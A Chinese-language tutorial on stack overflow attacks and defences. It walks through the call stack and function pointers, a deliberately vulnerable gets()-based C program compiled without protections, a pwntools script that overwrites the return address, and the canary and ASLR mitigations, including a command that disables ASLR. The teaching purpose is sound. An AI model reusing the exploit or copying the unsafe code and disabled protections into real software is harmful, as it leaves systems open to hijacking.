栈溢出攻击原理与防范

栈溢出(又名stack overflow),指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。

[toc]

为什么栈溢出如此知名

  • 莫里斯蠕虫

  • 莫里斯蠕虫病毒利用了栈溢出漏洞

    莫里斯蠕虫(Morris Worm)是在1988年11月2日由罗伯特·泰潘·莫里斯(Robert Tappan Morris)编写的一个计算机蠕虫。导致数千台计算机瘫痪,造成了大量的时间和金钱损失。他也是第一个因计算机犯罪而被判有罪的人。

  • stack overflow 论坛logo:全球知名的程序员论坛

  • 漏洞发现至今已有35年,缓冲区溢出漏洞仍占比最多:

demo

什么是栈溢出,请看如下demo

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>

int main()
{
char s[10];
gets(s); //我们在c语言学习中用到的函数
printf("Input:%s",s);
return 0; //在posix标准中返回0代表程序正常终止
}
//gcc demo.c -m32 -o demo

问问AI,他说gets已被标记为不安全的函数,那我们来看看他到底哪里不安全:

这里使用gcc demo.c -m32 -o demo来编译32位的程序(PS:这里使用32位的原因是32位的应用程序的参数都是存入栈中,可以更好解释栈溢出)。

我们发现,当输入长度为10的字符串时,程序还能正常输出。但是当我们再添加1位,程序被操作系统终止。

  • 我们可以推测,这里程序被终止的原因是因为输入的长度大于字符数组的长度(即s字符串溢出函数运行时栈)。那么,为什么操作系统要终止发生溢出的程序呢?
  • 你也许还想起,c语言字符串结尾是以\0结尾的,我们应该只能输入九个字符?
  • 别急,我们细细道来~~

什么是函数调用栈

我们先来了解下函数调用栈:

函数调用栈(Call Stack)是一种数据结构,用于管理程序中的函数调用。在调用函数时,计算机需要一种方式来跟踪函数的执行位置,以便函数执行完毕后能够返回到调用它的位置继续执行。函数调用栈就是用来实现这一目的的。

当函数被调用时,以下信息被压入栈中:

  1. 返回地址:调用函数后的下一条指令的地址。
  2. 局部变量:被调用函数中声明的局部变量。
  3. 传递参数:从调用函数传递给被调用函数的参数。
  4. 保存的寄存器值:某些寄存器的值,因为在函数执行过程中可能会被修改,所以在进入函数时需要先保存起来,以便在函数返回时能够恢复。

每次函数调用都会在栈上创建一个新的栈帧(Stack Frame),用于存放上述信息。当函数执行完毕后,其栈帧会被弹出,程序会根据栈帧中保存的返回地址跳回到调用函数的下一条指令继续执行。

这个过程可以形象地比喻为栈的压栈(Push)和出栈(Pop)操作。每进入一个函数,就相当于在栈顶加了一个新的栈帧;每从一个函数返回,就相当于从栈顶移除了一个栈帧。

我们先记住这两个事实:

  • 函数调用栈是反向增长的。

  • 函数调用栈有局部变量、返回地址等重要数据。

理解函数指针

函数,其实是个地址?

接下来我们看看C语言的函数指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>

// 定义一个简单的函数
int add(int a, int b) {
return a + b;
}

unsigned long sp(void){ asm("mov %rsp, %rax");} //rax寄存器存储返回值,这里返回rsp的地址

int main(void) {

// 声明一个函数指针,指向返回类型为int,参数为两个int的函数
int (*func_ptr)(int, int);

// 将函数add的地址赋给函数指针
func_ptr = add;

// 通过函数指针调用函数
int result = func_ptr(3, 4); // 3+4 = 7
printf("函数地址:%p\n",func_ptr);
printf("Result: %d\n", result);

return 0;
}
//gcc functionpointer.c -o functionpointer

运行一下,输出结果如下。可以看到:

  1. 我们成功通过函数指针调用add函数。
  2. 函数地址在每次运行时都不一样。

我们来看下该程序的汇编(橙色),发现函数指针的赋值时通过一条汇编指令mov QWORD PTR [rbp-8], OFFSET FLAT:add(int, int)来执行的,翻译一下这条汇编指令,即先找到add(int, int)函数标识符的地址,然后存储到基址指针 rbp(基址指针寄存器)减去 8 字节位置处的内存地址。

  • 那么,函数的实质可以理解为符号(标识符)地址的组合。编译器在编译过程中会将这个符号解析为一个内存地址,这个内存地址指向存储函数代码的地方。
  • PS:32位函数地址为四字节(),64位函数地址为八字节()。这是32位操作系统和64位操作系统的区别导致的——地址总线宽度不同而导致64位系统可访问的内存远大于32位系统。

让我们来实现递归吧

接下来,我们利用这一点实现对main函数的递归调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>

// 定义一个简单的函数
int add(int a, int b) {
return a + b;
}

unsigned long sp(void){ asm("mov %rsp, %rax");}

int main(void) {

int (*func_ptr)(void);
func_ptr = main;
printf("main函数地址:%p ",func_ptr); //打印main函数地址
unsigned long esp = sp();
printf("栈顶指针: (ESP : 0x%lx)\n",esp); //打印栈顶地址

func_ptr();
return 0;
}
//gcc functionpointer.c -o functionpointer

执行一下:

  • 可以看到main函数在递归调用自己n次后被操作系统终止了。
  • main函数地址没有发生改变,这是因为main函数地址所在是代码段,在运行时不会改变。
  • 栈顶指针一直在减小,也是印证刚才函数调用栈的第二条结论——栈是反向增长的!

内存布局

我们也可以顺道一窥linux内存布局

  1. 当我们./program执行程序时,可执行文件会被载入读/写段只读代码段
  2. 当程序运行时会将返回地址、局部变量等压入栈中,rsp是反向增长的
  3. 调用malloc、calloc函数时,若分配器内存不够,则会调用sbrk获得更多堆内存。brk是正向增长的

一个攻击例子

漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <string.h>

void success(void)
{
system("cmatrix"); //正常情况只有密码输入正确才能执行
}
void vulnerable(void)
{
char s[10];

gets(s);
if(!strcmp(s, "012345678")) success(); //password

return;
}
int main(int argc, char **argv)
{
vulnerable();
return 0;
}
//gcc -m32 -fno-stack-protector vulnerable.c -no-pie -o vulnerable //编译vulnerable
//gcc编译器 32位 关闭栈保护 源文件 关闭地址随机化 目的文件

输入正确的password将执行炫酷的cmatrix

破解

既然我们是讲栈溢出、那么来尝试通过栈溢出来控制程序执行流执行cmartix吧!!!!!!!!

  • 函数实质是符号+地址的组合,那返回父函数也应该是父函数的地址。
  • 那么我们只需要用success函数的地址覆盖vulnerable函数的返回地址retaddr即可。
  • 注意下linux是大多是以小端序存储的,输入0x12345678的内存布局如图所示。

    1
    2
    地址增量  →  [0x00000000]  [0x00000001]  [0x00000002]  [0x00000003]
    数据字节 → 0x78 0x56 0x34 0x12

下面是vulnerable函数的栈布局:

到retaddr需要:s字符数组 + 两寄存器 + ebp = 10 + 2*4 +4 = 22字节

1
2
3
4
5
6
7
8
9
10
11
12
             +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| 寄存器 |
| 寄存器 |
| s[10] |
| ... |
| ... |
| s[0] |
s,ebp-0x12-->+-----------------+

栈溢出漏洞利用需要两个条件:

  • 有gets等漏洞利用函数,可以实现溢出。
  • 需要知道我们想执行的函数的地址。

那么接下来我们,使用pwntools破解程序:

1
2
3
4
5
6
7
8
9
10
11
12
#! /usr/bin/env python3		

from pwn import *
sh=process("./vulnerable") #vulnerable进程
context(arch='i386',os='linux') #32位,linux
elf = ELF("vulnerable") #分析elf文件
success_addr = elf.symbols["success"] #得到success函数地址
payload = b'a'*(0x12) + b'aaaa' +p32(success_addr)
# 填充的垃圾字符 ebp寄存器(保存调用函数的基地址) success_addr(pwntools可以将地址转化为小端序)
print(p32(success_addr))
sh.sendline(payload) //发送payload,实现栈溢出
sh.interactive() //交互

可以看到,即使我们没有密码,也可以执行程序,达到破解的目的。

segmentation fault和 stack smash

  • 当我们输入AAAAAAAAAAA时,我们实际输入为0x414141414141

  • 程序只能访问他可以访问的地址,这里使用pwndgbvmmap查看可访问的内存布局,可以看到0x414141414141并不是程序可以访问的内存。

为什么demostack smash ,而vulnerablesegmentation fault

segmentation faultstack smash 都是与内存访问相关的错误

  • Segmentation Fault
    • 当程序尝试访问它不应该访问的内存地址时,会发生段错误。
  • Stack Smash
    • 当程序尝试在栈上写入超出栈界限的内存时,会发生栈破坏。(开启Canary保护才会触发该错误)。

回想一下,我们使用了不同的编译选项(保护开关),造成了不同的报错。那么,接下来我们了解一下这些保护~~

栈溢出的防护0x1:Canary

Canary的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

Canary不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。

canary保护使得栈溢出到返回地址需要提前得知canary的值,而canary在每次运行程序时都发生变化。使得栈溢出漏洞利用难度大大增加。

  • Canary随机数的第一个字节必然是 0x00 。如此设计的主要目的是实现字符串截断,以避免随机数被泄露。

这也就解释了为什么demo能输入长度为10的字符串,最后的\0覆盖了canary的0x00,但是因为相较于原canary值没有变化,程序没有被终止。当输入长度为11的字符串时,canary值被改变,程序终止。

来,通过gdb调试demo来看看程序是如何设置canary值的:

可以看到:

  1. 在函数起始,将gs:[0x14](即gs寄存器上偏移值为0x14地址上的canary值)移入栈中。
  2. 在函数即将返回时,比较栈上的canary值与gs:[0x14]的canary值:
    • 若相等则返回
    • 若不相等则跳入__stack_chk_fail终止程序。

当然,我们可以实现自己的canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>

void success(void) {
system("cmatrix"); //正常情况下这里不会执行
}

void vulnerable(void) {
char canaryprotect[8] = "0114514";
canaryprotect[0] = '\0'; //设置canary的第一个字节
char s[10];

gets(s);
if (!strcmp(s, "012345678"))
success();
else {
printf("你输错啦!~~~");
}

if (strcmp(&canaryprotect[1], "114514") ||
canaryprotect[0] != '\0') //如果canary被破坏,则退出程序
{
printf("\033[95m");
printf("\n\ncanary生效\n\n");
system("cowsay 杂鱼~杂鱼~");
exit(0); //终止程序
}
}

int main(int argc, char **argv) {
vulnerable();
return 0;
}
//gcc -m32 -fno-stack-protector canary.c --no-pie -o canary

可以看到自己写的canary保护也能模拟开启stack-protector保护程序的行为。

栈溢出的防护0x2: ASLR

ASLR(Address Space Layout Randomization,地址空间布局随机化)是一种安全技术,用于防止攻击者利用固定的内存地址进行攻击。ASLR会在程序每次运行时随机化内存中的某些区域,包括堆(heap)、栈(stack)和库(libraries)的基址。

如果程序没有开启PIE(Position-Independent Executable),那么程序的代码段(.text)和只读数据段(.rodata)将不会被随机化,因为它们在内存中的位置是固定的。这意味着即使系统开启了ASLR,程序的.text和.rodata段也不会享受到ASLR提供的保护。(vulnerable程序由于关闭PIE导致在开启ASLR保护的情况下被成功利用)

  • 0 = 关闭
  • 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。
  • 2 = 全随机。除了1中所述,还有heap。

当开启ASLR保护时,由于函数地址在每次运行时都是随机的,攻击者若想要利用栈溢出漏洞来攻击程序,就需要泄露函数的真实地址。

我们可以通过打印rsp所指向的地址来判断ASLR是否开启。

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
unsigned long sp(void){ asm("mov %rsp, %rax");}
int main(int argc, char **argv)
{
unsigned long esp = sp();
printf("Stack pointer (ESP : 0x%lx)\n",esp);
return 0;
}
//cat /proc/sys/kernel/randomize_va_space //查看是否开启地址随机化
//sudo sysctl -w kernel.randomize_va_space=0 //关闭地址随机化
//gcc ASLR.c -o ASLR

总结

  • 总之,栈溢出漏洞利用需要两个条件:

    • 有gets等漏洞利用函数,可以实现溢出。
    • 需要知道我们想执行的函数的地址。
  • 当然,想写出安全的程序需要我们:

    • 避免使用不安全的函数。

    • 在编译时开启全部保护,同时在操作系统中也要保护全开。

    • 定期进行代码审计。

    • 使用fuzz测试程序。

参考文献